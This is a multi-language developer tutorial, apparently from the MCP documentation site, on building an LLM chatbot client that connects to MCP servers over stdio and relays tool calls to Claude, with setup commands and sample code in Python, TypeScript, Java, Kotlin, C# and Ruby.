# Build an MCP client
Source: https://modelcontextprotocol.io/docs/2026-07-28/develop/build-client
Get started building your own client that can integrate with all MCP servers.
In this tutorial, you'll learn how to build an LLM-powered chatbot client that connects to MCP servers.
Before you begin, it helps to have gone through our [Build an MCP Server](/docs/2026-07-28/develop/build-server) tutorial so you can understand how clients and servers communicate.
[You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-python)
## System Requirements
Before starting, ensure your system meets these requirements:
* Mac or Windows computer
* Latest Python version installed
* Latest version of `uv` installed
* You must use the Python MCP SDK 2.0.0 or higher
## Setting Up Your Environment
First, create a new Python project with `uv`:
```bash macOS/Linux theme={null}
# Create project directory
uv init mcp-client
cd mcp-client
# Create virtual environment
uv venv
# Activate virtual environment
source .venv/bin/activate
# Install required packages
uv add mcp anthropic python-dotenv
# Remove boilerplate files
rm main.py
# Create our main file
touch client.py
```
```powershell Windows theme={null}
# Create project directory
uv init mcp-client
cd mcp-client
# Create virtual environment
uv venv
# Activate virtual environment
.venv\Scripts\activate
# Install required packages
uv add mcp anthropic python-dotenv
# Remove boilerplate files
del main.py
# Create our main file
new-item client.py
```
## Setting Up Your API Key
You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
Create a `.env` file to store it:
```bash theme={null}
echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
```
Add `.env` to your `.gitignore`:
```bash theme={null}
echo ".env" >> .gitignore
```
Make sure you keep your `ANTHROPIC_API_KEY` secure!
## Creating the Client
### Imports and Setup
First, let's set up our imports and the pieces the rest of the file shares:
```python theme={null}
import asyncio
import sys
from mcp import Client, StdioServerParameters
from mcp.client.stdio import stdio_client
from mcp_types import TextContent
from anthropic import Anthropic
from dotenv import load_dotenv
load_dotenv() # load environment variables from .env
MODEL = "claude-opus-5"
anthropic = Anthropic()
```
`Client` is the single object your program talks to the server through. Listing the tools, calling one, reading a resource: each of those is a method on it.
### Server Connection Management
Next, we'll work out which process to launch for a given server script:
```python theme={null}
def server_params(server_script_path: str) -> StdioServerParameters:
"""Describe the subprocess that runs an MCP server
Args:
server_script_path: Path to the server script (.py or .js)
"""
if server_script_path.endswith(".py"):
command = "python"
elif server_script_path.endswith(".js"):
command = "node"
else:
raise ValueError("Server script must be a .py or .js file")
return StdioServerParameters(command=command, args=[server_script_path])
```
`StdioServerParameters` is configuration, not a connection. `stdio_client()` turns it into a stdio transport, and `Client` opens that transport when you enter its `async with` block. We'll do both in `main()`.
### Query Processing Logic
Now let's add the core functionality for processing queries and handling tool calls:
```python theme={null}
async def process_query(client: Client, query: str) -> str:
"""Process a query using Claude and available tools"""
messages = [
{
"role": "user",
"content": query
}
]
tool_list = await client.list_tools()
available_tools = [{
"name": tool.name,
"description": tool.description,
"input_schema": tool.input_schema
} for tool in tool_list.tools]
# Initial Claude API call
response = anthropic.messages.create(
model=MODEL,
max_tokens=1000,
messages=messages,
tools=available_tools
)
# Process response and handle tool calls
final_text = []
tool_results = []
for content in response.content:
if content.type == 'text':
final_text.append(content.text)
elif content.type == 'tool_use':
tool_name = content.name
tool_args = content.input
# Execute tool call
result = await client.call_tool(tool_name, tool_args)
final_text.append(f"[Calling tool {tool_name} with args {tool_args}]")
tool_results.append({
"type": "tool_result",
"tool_use_id": content.id,
"content": "\n".join(
block.text
for block in result.content
if isinstance(block, TextContent)
),
"is_error": result.is_error
})
if tool_results:
messages.append({"role": "assistant", "content": response.content})
messages.append({"role": "user", "content": tool_results})
# Get next response from Claude
response = anthropic.messages.create(
model=MODEL,
max_tokens=1000,
messages=messages,
tools=available_tools
)
for content in response.content:
if content.type == 'text':
final_text.append(content.text)
return "\n".join(final_text)
```
`call_tool` returns a `CallToolResult`. Its `content` is a list of blocks, which is why we narrow to `TextContent` before reading `.text`. A tool that raises does not raise here: it answers with `is_error` set, and passing that flag on lets Claude read the message and try something else.
### Interactive Chat Interface
Now we'll add the chat loop:
```python theme={null}
async def chat_loop(client: Client) -> None:
"""Run an interactive chat loop"""
print("\nMCP Client Started!")
print("Type your queries or 'quit' to exit.")
while True:
try:
query = (await asyncio.to_thread(input, "\nQuery: ")).strip()
except EOFError:
break
if query.lower() == 'quit':
break
try:
response = await process_query(client, query)
print("\n" + response)
except Exception as e:
print(f"\nError: {e}")
```
`input()` blocks, so it runs on a worker thread. That keeps the event loop free to service the connection while you type.
### Main Entry Point
Finally, we'll add the main execution logic:
```python theme={null}
async def main() -> None:
if len(sys.argv) < 2:
print("Usage: python client.py ")
sys.exit(1)
async with Client(stdio_client(server_params(sys.argv[1]))) as client:
tool_list = await client.list_tools()
tool_names = [tool.name for tool in tool_list.tools]
print("\nConnected to server with tools:", tool_names)
await chat_loop(client)
if __name__ == "__main__":
asyncio.run(main())
```
That `async with` is the entire connection lifecycle. Entering it launches the server and agrees a protocol version with it; leaving it disconnects and shuts the subprocess down. There is nothing to close by hand.
You can find the complete `client.py` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-python/client.py).
## Key Components Explained
### 1. Client Initialization
* A single `Client` carries the connection, and `async with` is its whole lifecycle
* There is no connect/close pair to call and nothing to clean up afterwards
* Configures the Anthropic client for Claude interactions
### 2. Server Connection
* Supports both Python and Node.js servers
* Validates server script type
* Launches the server as a subprocess and speaks stdio to it
* Lists the available tools once the connection is open
### 3. Query Processing
* Maintains conversation context
* Handles Claude's responses and tool calls
* Manages the message flow between Claude and tools
* Combines results into a coherent response
### 4. Interactive Interface
* Provides a simple command-line interface
* Handles user input and displays responses
* Includes basic error handling
* Allows graceful exit
### 5. Resource Management
* Leaving the `async with` block disconnects and shuts the server subprocess down
* A failing query is reported without ending the session
* Typing `quit`, or closing standard input, exits cleanly
## Common Customization Points
1. **Tool Handling**
* Modify `process_query()` to handle specific tool types
* Add custom error handling for tool calls
* Implement tool-specific response formatting
2. **Response Processing**
* Customize how tool results are formatted
* Add response filtering or transformation
* Implement custom logging
3. **User Interface**
* Add a GUI or web interface
* Implement rich console output
* Add command history or auto-completion
## Running the Client
To run your client with any MCP server:
```bash theme={null}
uv run client.py path/to/server.py # python server
uv run client.py path/to/build/index.js # node server
```
If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python), your command might look something like this: `python client.py .../quickstart-resources/weather-server-python/weather.py`
The client will:
1. Connect to the specified server
2. List available tools
3. Start an interactive chat session where you can:
* Enter queries
* See tool executions
* Get responses from Claude
Here's an example of what it should look like if connected to the weather server from the server quickstart:
## How It Works
When you submit a query:
1. The client gets the list of available tools from the server
2. Your query is sent to Claude along with tool descriptions
3. Claude decides which tools (if any) to use
4. The client executes any requested tool calls through the server
5. Results are sent back to Claude
6. Claude provides a natural language response
7. The response is displayed to you
## Best practices
1. **Error Handling**
* Check `result.is_error` rather than expecting a failing tool to raise
* Provide meaningful error messages
* Gracefully handle connection issues
2. **Resource Management**
* Let the `async with` block own the connection
* Keep it open for as long as you need the server
* Handle server disconnections
3. **Security**
* Store API keys securely in `.env`
* Validate server responses
* Be cautious with tool permissions
4. **Tool Names**
* Tool names can be validated according to the format specified [here](/specification/2026-07-28/server/tools#tool-names)
* If a tool name conforms to the specified format, it should not fail validation by an MCP client
## Troubleshooting
### Server Path Issues
* Double-check the path to your server script is correct
* Use the absolute path if the relative path isn't working
* For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
* Verify the server file has the correct extension (.py for Python or .js for Node.js)
Example of correct path usage:
```bash theme={null}
# Relative path
uv run client.py ./server/weather.py
# Absolute path
uv run client.py /Users/username/projects/mcp-server/weather.py
# Windows path (either format works)
uv run client.py C:/projects/mcp-server/weather.py
uv run client.py C:\\projects\\mcp-server\\weather.py
```
### Response Timing
* The first response might take up to 30 seconds to return
* This is normal and happens while:
* The server initializes
* Claude processes the query
* Tools are being executed
* Subsequent responses are typically faster
* Don't interrupt the process during this initial waiting period
### Common Error Messages
If you see:
* `FileNotFoundError`: Check your server path
* `Connection refused`: Ensure the server is running and the path is correct
* `Tool execution failed`: Verify the tool's required environment variables are set
* `Timeout error`: Consider raising `read_timeout_seconds` on the `Client`
[You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-typescript)
## System Requirements
Before starting, ensure your system meets these requirements:
* Mac or Windows computer
* Node.js 20 or higher installed
* Latest version of `npm` installed
* Anthropic API key (Claude)
## Setting Up Your Environment
First, let's create and set up our project:
```bash macOS/Linux theme={null}
# Create project directory
mkdir mcp-client-typescript
cd mcp-client-typescript
# Initialize npm project
npm init -y
# Install dependencies
npm install @anthropic-ai/sdk @modelcontextprotocol/client dotenv
# Install dev dependencies
npm install -D @types/node typescript
# Create source file
touch index.ts
```
```powershell Windows theme={null}
# Create project directory
md mcp-client-typescript
cd mcp-client-typescript
# Initialize npm project
npm init -y
# Install dependencies
npm install @anthropic-ai/sdk @modelcontextprotocol/client dotenv
# Install dev dependencies
npm install -D @types/node typescript
# Create source file
new-item index.ts
```
Update your `package.json` to set `type: "module"` and a build script:
```json package.json theme={null}
{
"type": "module",
"scripts": {
"build": "tsc && chmod 755 build/index.js"
}
}
```
Create a `tsconfig.json` in the root of your project:
```json tsconfig.json theme={null}
{
"compilerOptions": {
"target": "ES2022",
"module": "Node16",
"moduleResolution": "Node16",
"types": ["node"],
"outDir": "./build",
"rootDir": "./",
"strict": true,
"esModuleInterop": true,
"skipLibCheck": true,
"forceConsistentCasingInFileNames": true
},
"include": ["index.ts"],
"exclude": ["node_modules"]
}
```
## Setting Up Your API Key
You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
Create a `.env` file to store it:
```bash theme={null}
echo "ANTHROPIC_API_KEY=" > .env
```
Add `.env` to your `.gitignore`:
```bash theme={null}
echo ".env" >> .gitignore
```
Make sure you keep your `ANTHROPIC_API_KEY` secure!
## Creating the Client
### Basic Client Structure
First, let's set up our imports and create the basic client class in `index.ts`:
```typescript theme={null}
import { Anthropic } from "@anthropic-ai/sdk";
import {
MessageParam,
Tool,
} from "@anthropic-ai/sdk/resources/messages/messages.mjs";
import { Client } from "@modelcontextprotocol/client";
import { StdioClientTransport } from "@modelcontextprotocol/client/stdio";
import readline from "readline/promises";
import dotenv from "dotenv";
dotenv.config();
const ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY;
if (!ANTHROPIC_API_KEY) {
throw new Error("ANTHROPIC_API_KEY is not set");
}
class MCPClient {
private mcp: Client;
private anthropic: Anthropic;
private transport: StdioClientTransport | null = null;
private tools: Tool[] = [];
constructor() {
this.anthropic = new Anthropic({
apiKey: ANTHROPIC_API_KEY,
});
this.mcp = new Client({ name: "mcp-client-cli", version: "1.0.0" });
}
// methods will go here
}
```
### Server Connection Management
Next, we'll implement the method to connect to an MCP server:
```typescript theme={null}
async connectToServer(serverScriptPath: string) {
try {
const isJs = serverScriptPath.endsWith(".js");
const isPy = serverScriptPath.endsWith(".py");
if (!isJs && !isPy) {
throw new Error("Server script must be a .js or .py file");
}
const command = isPy
? process.platform === "win32"
? "python"
: "python3"
: process.execPath;
this.transport = new StdioClientTransport({
command,
args: [serverScriptPath],
});
await this.mcp.connect(this.transport);
const toolsResult = await this.mcp.listTools();
this.tools = toolsResult.tools.map((tool) => {
return {
name: tool.name,
description: tool.description,
input_schema: tool.inputSchema,
};
});
console.log(
"Connected to server with tools:",
this.tools.map(({ name }) => name)
);
} catch (e) {
console.log("Failed to connect to MCP server: ", e);
throw e;
}
}
```
### Query Processing Logic
Now let's add the core functionality for processing queries and handling tool calls:
```typescript theme={null}
async processQuery(query: string) {
const messages: MessageParam[] = [
{
role: "user",
content: query,
},
];
const response = await this.anthropic.messages.create({
model: "claude-opus-5",
max_tokens: 1000,
messages,
tools: this.tools,
});
const finalText = [];
for (const content of response.content) {
if (content.type === "text") {
finalText.push(content.text);
} else if (content.type === "tool_use") {
const toolName = content.name;
const toolArgs = content.input as { [x: string]: unknown } | undefined;
const result = await this.mcp.callTool({
name: toolName,
arguments: toolArgs,
});
finalText.push(
`[Calling tool ${toolName} with args ${JSON.stringify(toolArgs)}]`
);
messages.push({
role: "user",
content: result.content
.filter((block) => block.type === "text")
.map((block) => block.text)
.join("\n"),
});
const response = await this.anthropic.messages.create({
model: "claude-opus-5",
max_tokens: 1000,
messages,
});
finalText.push(
response.content[0].type === "text" ? response.content[0].text : ""
);
}
}
return finalText.join("\n");
}
```
### Interactive Chat Interface
Now we'll add the chat loop and cleanup functionality:
```typescript theme={null}
async chatLoop() {
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
});
try {
console.log("\nMCP Client Started!");
console.log("Type your queries or 'quit' to exit.");
while (true) {
const message = await rl.question("\nQuery: ");
if (message.toLowerCase() === "quit") {
break;
}
const response = await this.processQuery(message);
console.log("\n" + response);
}
} finally {
rl.close();
}
}
async cleanup() {
await this.mcp.close();
}
```
### Main Entry Point
Finally, we'll add the main execution logic:
```typescript theme={null}
async function main() {
if (process.argv.length < 3) {
console.log("Usage: node index.ts ");
return;
}
const mcpClient = new MCPClient();
try {
await mcpClient.connectToServer(process.argv[2]);
await mcpClient.chatLoop();
} catch (e) {
console.error("Error:", e);
await mcpClient.cleanup();
process.exit(1);
} finally {
await mcpClient.cleanup();
process.exit(0);
}
}
main();
```
## Running the Client
To run your client with any MCP server:
```bash theme={null}
# Build TypeScript
npm run build
# Run the client
node build/index.js path/to/server.py # python server
node build/index.js path/to/build/index.js # node server
```
If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript), your command might look something like this: `node build/index.js .../quickstart-resources/weather-server-typescript/build/index.js`
**The client will:**
1. Connect to the specified server
2. List available tools
3. Start an interactive chat session where you can:
* Enter queries
* See tool executions
* Get responses from Claude
## How It Works
When you submit a query:
1. The client gets the list of available tools from the server
2. Your query is sent to Claude along with tool descriptions
3. Claude decides which tools (if any) to use
4. The client executes any requested tool calls through the server
5. Results are sent back to Claude
6. Claude provides a natural language response
7. The response is displayed to you
## Best practices
1. **Error Handling**
* Use TypeScript's type system for better error detection
* Wrap tool calls in try-catch blocks
* Provide meaningful error messages
* Gracefully handle connection issues
2. **Security**
* Store API keys securely in `.env`
* Validate server responses
* Be cautious with tool permissions
## Troubleshooting
### Server Path Issues
* Double-check the path to your server script is correct
* Use the absolute path if the relative path isn't working
* For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
* Verify the server file has the correct extension (.js for Node.js or .py for Python)
Example of correct path usage:
```bash theme={null}
# Relative path
node build/index.js ./server/build/index.js
# Absolute path
node build/index.js /Users/username/projects/mcp-server/build/index.js
# Windows path (either format works)
node build/index.js C:/projects/mcp-server/build/index.js
node build/index.js C:\\projects\\mcp-server\\build\\index.js
```
### Response Timing
* The first response might take up to 30 seconds to return
* This is normal and happens while:
* The server initializes
* Claude processes the query
* Tools are being executed
* Subsequent responses are typically faster
* Don't interrupt the process during this initial waiting period
### Common Error Messages
If you see:
* `Error: Cannot find module`: Check your build folder and ensure TypeScript compilation succeeded
* `Connection refused`: Ensure the server is running and the path is correct
* `Tool execution failed`: Verify the tool's required environment variables are set
* `ANTHROPIC_API_KEY is not set`: Check your .env file and environment variables
* `TypeError`: Ensure you're using the correct types for tool arguments
* `BadRequestError`: Ensure you have enough credits to access the Anthropic API
This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters.
To learn how to create sync and async MCP Clients manually, consult the [Java SDK Client](https://java.sdk.modelcontextprotocol.io/) documentation.
This example demonstrates how to build an interactive chatbot that combines Spring AI's Model Context Protocol (MCP) with the [Brave Search MCP Server](https://github.com/modelcontextprotocol/servers-archived/tree/main/src/brave-search). The application creates a conversational interface powered by Anthropic's Claude AI model that can perform internet searches through Brave Search, enabling natural language interactions with real-time web data.
[You can find the complete code for this tutorial here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/web-search/brave-chatbot)
## System Requirements
Before starting, ensure your system meets these requirements:
* Java 17 or higher
* Maven 3.6+
* npx package manager
* Anthropic API key (Claude)
* Brave Search API key
## Setting Up Your Environment
1. Install npx (Node Package eXecute):
First, make sure to install [npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm)
and then run:
```bash theme={null}
npm install -g npx
```
2. Clone the repository:
```bash theme={null}
git clone https://github.com/spring-projects/spring-ai-examples.git
cd model-context-protocol/web-search/brave-chatbot
```
3. Set up your API keys:
```bash theme={null}
export ANTHROPIC_API_KEY='your-anthropic-api-key-here'
export BRAVE_API_KEY='your-brave-api-key-here'
```
4. Build the application:
```bash theme={null}
./mvnw clean install
```
5. Run the application using Maven:
```bash theme={null}
./mvnw spring-boot:run
```
Make sure you keep your `ANTHROPIC_API_KEY` and `BRAVE_API_KEY` keys secure!
## How it Works
The application integrates Spring AI with the Brave Search MCP server through several components:
### MCP Client Configuration
1. Required dependencies in pom.xml:
```xml theme={null}
org.springframework.aispring-ai-starter-mcp-clientorg.springframework.aispring-ai-starter-model-anthropic
```
2. Application properties (application.yml):
```yml theme={null}
spring:
ai:
mcp:
client:
enabled: true
name: brave-search-client
version: 1.0.0
type: SYNC
request-timeout: 20s
stdio:
root-change-notification: true
servers-configuration: classpath:/mcp-servers-config.json
toolcallback:
enabled: true
anthropic:
api-key: ${ANTHROPIC_API_KEY}
```
This activates the `spring-ai-starter-mcp-client` to create one or more `McpClient`s based on the provided server configuration.
The `spring.ai.mcp.client.toolcallback.enabled=true` property enables the tool callback mechanism, that automatically registers all MCP tool as spring ai tools.
It is disabled by default.
3. MCP Server Configuration (`mcp-servers-config.json`):
```json theme={null}
{
"mcpServers": {
"brave-search": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-brave-search"],
"env": {
"BRAVE_API_KEY": ""
}
}
}
}
```
### Chat Implementation
The chatbot is implemented using Spring AI's ChatClient with MCP tool integration:
```java theme={null}
var chatClient = chatClientBuilder
.defaultSystem("You are useful assistant, expert in AI and Java.")
.defaultToolCallbacks((Object[]) mcpToolAdapter.toolCallbacks())
.defaultAdvisors(new MessageChatMemoryAdvisor(new InMemoryChatMemory()))
.build();
```
Key features:
* Uses Claude AI model for natural language understanding
* Integrates Brave Search through MCP for real-time web search capabilities
* Maintains conversation memory using InMemoryChatMemory
* Runs as an interactive command-line application
### Build and run
```bash theme={null}
./mvnw clean install
java -jar ./target/ai-mcp-brave-chatbot-0.0.1-SNAPSHOT.jar
```
or
```bash theme={null}
./mvnw spring-boot:run
```
The application will start an interactive chat session where you can ask questions. The chatbot will use Brave Search when it needs to find information from the internet to answer your queries.
The chatbot can:
* Answer questions using its built-in knowledge
* Perform web searches when needed using Brave Search
* Remember context from previous messages in the conversation
* Combine information from multiple sources to provide comprehensive answers
### Advanced Configuration
The MCP client supports additional configuration options:
* Client customization through `McpClientCustomizer` or `McpClientCustomizer` beans
* Multiple clients with multiple transport types: `STDIO` and Streamable HTTP
* Integration with Spring AI's tool execution framework
* Automatic client initialization and lifecycle management
To connect to a remote MCP server over Streamable HTTP, configure a connection URL:
```properties theme={null}
spring.ai.mcp.client.streamable-http.connections.server1.url=http://localhost:8080
```
For WebFlux-based applications, you can use the WebFlux starter instead:
```xml theme={null}
org.springframework.aispring-ai-starter-mcp-client-webflux
```
This provides similar functionality but uses a WebFlux-based Streamable HTTP transport implementation, recommended for production deployments.
[You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/kotlin-mcp-client)
## System Requirements
Before starting, ensure your system meets these requirements:
* JDK 11 or higher
* Anthropic API key (Claude)
## Setting up your environment
First, let's install `java` and `gradle` if you haven't already.
You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/).
Verify your `java` installation:
```bash theme={null}
java --version
```
Now, let's create and set up your project:
```bash macOS/Linux theme={null}
# Create a new directory for our project
mkdir kotlin-mcp-client
cd kotlin-mcp-client
# Initialize a new kotlin project
gradle init
```
```powershell Windows theme={null}
# Create a new directory for our project
md kotlin-mcp-client
cd kotlin-mcp-client
# Initialize a new kotlin project
gradle init
```
After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.
Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html).
After creating the project, replace the contents of your `build.gradle.kts` with:
```kotlin build.gradle.kts theme={null}
// Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases
val mcpVersion = "0.9.0"
val ktorVersion = "3.2.3"
val anthropicVersion = "2.15.0"
val slf4jVersion = "2.0.17"
plugins {
kotlin("jvm") version "2.3.20"
id("com.gradleup.shadow") version "8.3.9"
application
}
application {
mainClass.set("MainKt")
}
dependencies {
implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")
implementation("io.ktor:ktor-client-cio:$ktorVersion")
implementation("com.anthropic:anthropic-java:$anthropicVersion")
implementation("org.slf4j:slf4j-simple:$slf4jVersion")
}
```
Verify that everything is set up correctly:
```bash theme={null}
./gradlew build
```
## Setting up your API key
You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
Set up your API key:
```bash theme={null}
export ANTHROPIC_API_KEY='your-anthropic-api-key-here'
```
Make sure you keep your `ANTHROPIC_API_KEY` secure!
## Creating the Client
### Basic Client Structure
First, let's create the basic client class:
```kotlin theme={null}
class MCPClient(apiKey: String) : AutoCloseable {
private val anthropic = AnthropicOkHttpClient.builder()
.apiKey(apiKey)
.build()
private val mcp: Client = Client(
clientInfo = Implementation(name = "mcp-client-cli", version = "1.0.0")
)
private var serverProcess: Process? = null
private lateinit var tools: List
// methods will go here
override fun close() {
runBlocking {
mcp.close()
}
serverProcess?.destroy()
anthropic.close()
}
}
```
### Server connection management
Next, we'll implement the method to connect to an MCP server:
```kotlin theme={null}
suspend fun connectToServer(serverScriptPath: String) {
val command = buildList {
when (serverScriptPath.substringAfterLast(".")) {
"js" -> add("node")
"py" -> add(if (System.getProperty("os.name").lowercase().contains("win")) "python" else "python3")
"jar" -> addAll(listOf("java", "-jar"))
else -> throw IllegalArgumentException("Server script must be a .js, .py or .jar file")
}
add(serverScriptPath)
}
val process = ProcessBuilder(command).start()
serverProcess = process
val transport = StdioClientTransport(
input = process.inputStream.asSource().buffered(),
output = process.outputStream.asSink().buffered(),
)
mcp.connect(transport)
val toolsResult = mcp.listTools()
tools = toolsResult.tools.map { tool ->
ToolUnion.ofTool(
Tool.builder()
.name(tool.name)
.description(tool.description ?: "")
.inputSchema(
Tool.InputSchema.builder()
.type(JsonValue.from(tool.inputSchema.type))
.properties(tool.inputSchema.properties?.toJsonValue() ?: EmptyJsonObject.toJsonValue())
.putAdditionalProperty("required", JsonValue.from(tool.inputSchema.required))
.build(),
)
.build(),
)
}
println("Connected to server with tools: ${tools.joinToString(", ") { it.tool().get().name() }}")
}
```
This helper converts a kotlinx.serialization `JsonObject` to an Anthropic SDK `JsonValue` using Jackson:
```kotlin theme={null}
private fun JsonObject.toJsonValue(): JsonValue {
val mapper = ObjectMapper()
val node = mapper.readTree(this.toString())
return JsonValue.fromJsonNode(node)
}
```
### Query processing logic
Now let's add the core functionality for processing queries and handling tool calls:
```kotlin theme={null}
suspend fun processQuery(query: String): String {
val messages = mutableListOf(
MessageParam.builder()
.role(MessageParam.Role.USER)
.content(query)
.build(),
)
val response = anthropic.messages().create(
MessageCreateParams.builder()
.model("claude-opus-5")
.maxTokens(1024)
.messages(messages)
.tools(tools)
.build(),
)
val finalText = mutableListOf()
response.content().forEach { content ->
when {
content.isText() -> finalText.add(content.text().get().text())
content.isToolUse() -> {
val toolName = content.toolUse().get().name()
val toolArgs =
content.toolUse().get()._input().convert(object : TypeReference
[You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartClient)
## System Requirements
Before starting, ensure your system meets these requirements:
* .NET 8.0 or higher
* Anthropic API key (Claude)
* Windows, Linux, or macOS
## Setting up your environment
First, create a new .NET project:
```bash theme={null}
dotnet new console -n QuickstartClient
cd QuickstartClient
```
Then, add the required dependencies to your project:
```bash theme={null}
dotnet add package ModelContextProtocol --prerelease
dotnet add package Anthropic.SDK
dotnet add package Microsoft.Extensions.Hosting
dotnet add package Microsoft.Extensions.AI
```
## Setting up your API key
You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
```bash theme={null}
dotnet user-secrets init
dotnet user-secrets set "ANTHROPIC_API_KEY" ""
```
## Creating the Client
### Basic Client Structure
First, let's setup the basic client class in the file `Program.cs`:
```csharp theme={null}
using Anthropic.SDK;
using Microsoft.Extensions.AI;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.Hosting;
using ModelContextProtocol.Client;
using ModelContextProtocol.Protocol.Transport;
var builder = Host.CreateApplicationBuilder(args);
builder.Configuration
.AddEnvironmentVariables()
.AddUserSecrets();
```
This creates the beginnings of a .NET console application that can read the API key from user secrets.
Next, we'll setup the MCP Client:
```csharp theme={null}
var (command, arguments) = GetCommandAndArguments(args);
var clientTransport = new StdioClientTransport(new()
{
Name = "Demo Server",
Command = command,
Arguments = arguments,
});
await using var mcpClient = await McpClient.CreateAsync(clientTransport);
var tools = await mcpClient.ListToolsAsync();
foreach (var tool in tools)
{
Console.WriteLine($"Connected to server with tools: {tool.Name}");
}
```
Add this function at the end of the `Program.cs` file:
```csharp theme={null}
static (string command, string[] arguments) GetCommandAndArguments(string[] args)
{
return args switch
{
[var script] when script.EndsWith(".py") => ("python", args),
[var script] when script.EndsWith(".js") => ("node", args),
[var script] when Directory.Exists(script) || (File.Exists(script) && script.EndsWith(".csproj")) => ("dotnet", ["run", "--project", script, "--no-build"]),
_ => throw new NotSupportedException("An unsupported server script was provided. Supported scripts are .py, .js, or .csproj")
};
}
```
This creates an MCP client that will connect to a server that is provided as a command line argument. It then lists the available tools from the connected server.
### Query processing logic
Now let's add the core functionality for processing queries and handling tool calls:
```csharp theme={null}
using var anthropicClient = new AnthropicClient(new APIAuthentication(builder.Configuration["ANTHROPIC_API_KEY"]))
.Messages
.AsBuilder()
.UseFunctionInvocation()
.Build();
var options = new ChatOptions
{
MaxOutputTokens = 1000,
ModelId = "claude-opus-5",
Tools = [.. tools]
};
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("MCP Client Started!");
Console.ResetColor();
PromptForInput();
while(Console.ReadLine() is string query && !"exit".Equals(query, StringComparison.OrdinalIgnoreCase))
{
if (string.IsNullOrWhiteSpace(query))
{
PromptForInput();
continue;
}
await foreach (var message in anthropicClient.GetStreamingResponseAsync(query, options))
{
Console.Write(message);
}
Console.WriteLine();
PromptForInput();
}
static void PromptForInput()
{
Console.WriteLine("Enter a command (or 'exit' to quit):");
Console.ForegroundColor = ConsoleColor.Cyan;
Console.Write("> ");
Console.ResetColor();
}
```
## Key Components Explained
### 1. Client Initialization
* The client is initialized using `McpClient.CreateAsync()`, which sets up the transport type and command to run the server.
### 2. Server Connection
* Supports Python, Node.js, and .NET servers.
* The server is started using the command specified in the arguments.
* Configures to use stdio for communication with the server.
* Initializes the session and available tools.
### 3. Query Processing
* Leverages [Microsoft.Extensions.AI](https://learn.microsoft.com/dotnet/ai/ai-extensions) for the chat client.
* Configures the `IChatClient` to use automatic tool (function) invocation.
* The client reads user input and sends it to the server.
* The server processes the query and returns a response.
* The response is displayed to the user.
## Running the Client
To run your client with any MCP server:
```bash theme={null}
dotnet run -- path/to/server.csproj # dotnet server
dotnet run -- path/to/server.py # python server
dotnet run -- path/to/server.js # node server
```
If you're continuing the weather tutorial from the server quickstart, your command might look something like this: `dotnet run -- path/to/QuickstartWeatherServer`.
The client will:
1. Connect to the specified server
2. List available tools
3. Start an interactive chat session where you can:
* Enter queries
* See tool executions
* Get responses from Claude
4. Exit the session when done
Here's an example of what it should look like if connected to the weather server quickstart:
[You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-ruby)
## System Requirements
Before starting, ensure your system meets these requirements:
* Mac or Windows computer
* Ruby 3.2.0 or higher installed (required by the [Anthropic SDK](https://github.com/anthropics/anthropic-sdk-ruby))
* Anthropic API key (Claude)
## Setting Up Your Environment
First, create a new Ruby project:
```bash macOS/Linux theme={null}
# Create project directory
mkdir mcp-client
cd mcp-client
# Create a Gemfile
bundle init
# Add required dependencies
bundle add anthropic base64 dotenv mcp
# Create our main file
touch client.rb
```
```powershell Windows theme={null}
# Create project directory
mkdir mcp-client
cd mcp-client
# Create a Gemfile
bundle init
# Add required dependencies
bundle add anthropic base64 dotenv mcp
# Create our main file
new-item client.rb
```
## Setting Up Your API Key
You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
Create a `.env` file to store it:
```bash theme={null}
echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
```
Add `.env` to your `.gitignore`:
```bash theme={null}
echo ".env" >> .gitignore
```
Make sure you keep your `ANTHROPIC_API_KEY` secure!
## Creating the Client
### Basic Client Structure
First, let's set up our requires and create the basic client class:
```ruby theme={null}
require "anthropic"
require "dotenv/load"
require "json"
require "mcp"
class MCPClient
ANTHROPIC_MODEL = "claude-opus-5"
def initialize
@mcp_client = nil
@transport = nil
@anthropic_client = nil
end
# methods will go here
end
```
### Server Connection Management
Next, we'll implement the method to connect to an MCP server:
```ruby theme={null}
def connect_to_server(server_script_path)
command = case File.extname(server_script_path)
when ".rb"
"ruby"
when ".py"
"python3"
when ".js"
"node"
else
raise ArgumentError, "Server script must be a .rb, .py, or .js file."
end
@transport = MCP::Client::Stdio.new(command: command, args: [server_script_path])
@mcp_client = MCP::Client.new(transport: @transport)
@mcp_client.connect
tool_names = @mcp_client.tools.map(&:name)
puts "\nConnected to server with tools: #{tool_names}"
end
